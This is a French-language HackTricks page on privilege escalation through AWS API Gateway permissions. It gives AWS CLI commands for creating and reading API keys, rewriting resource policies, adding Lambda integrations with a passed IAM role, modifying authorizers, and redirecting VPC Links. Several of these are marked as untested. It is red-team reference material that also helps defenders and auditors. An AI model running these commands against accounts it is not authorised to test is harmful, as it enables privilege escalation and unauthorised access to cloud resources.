AWS - Apigateway Privesc

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Apigateway

Pour plus d'informations, consultez :

AWS - API Gateway Enum

apigateway:POST

Avec cette permission, vous pouvez générer des clés API des APIs configurées (par région).

bash
aws --region <region> apigateway create-api-key

Impact potentiel : Vous ne pouvez pas privesc avec cette technique, mais vous pourriez accéder à des informations sensibles.

apigateway:GET

Avec cette autorisation, vous pouvez obtenir les clés API générées des API configurées (par région).

bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Impact potentiel : Vous ne pouvez pas privesc avec cette technique, mais vous pourriez accéder à des informations sensibles.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Avec ces autorisations, il est possible de modifier la politique de ressource d'une API pour vous donner accès à l'appeler et abuser de l'accès potentiel que la passerelle API pourrait avoir (comme invoquer une lambda vulnérable).

bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Impact potentiel : Vous ne pourrez généralement pas effectuer de privesc directement avec cette technique, mais vous pourriez obtenir accès à des informations sensibles.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

note

Besoin de tests

Un attaquant avec les permissions apigateway:PutIntegration, apigateway:CreateDeployment, et iam:PassRole peut ajouter une nouvelle intégration à une API REST API Gateway existante avec une fonction Lambda qui a un rôle IAM attaché. L'attaquant peut alors déclencher la fonction Lambda pour exécuter du code arbitraire et potentiellement accéder aux ressources associées au rôle IAM.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Accès aux ressources associées au rôle IAM de la fonction Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

note

Nécessite des tests

Un attaquant disposant des autorisations apigateway:UpdateAuthorizer et apigateway:CreateDeployment peut modifier un authorizer API Gateway existant pour contourner les vérifications de sécurité ou exécuter du code arbitraire lors des requêtes API.

bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Contournement des vérifications de sécurité, accès non autorisé aux ressources API.

note

Nécessite des tests

Un attaquant disposant de la permission apigateway:UpdateVpcLink peut modifier un VPC Link existant pour le faire pointer vers un autre équilibreur de charge réseau, redirigeant potentiellement le trafic API privé vers des ressources non autorisées ou malveillantes.

bash
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Impact potentiel : Accès non autorisé aux ressources API privées, interception ou perturbation du trafic API.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks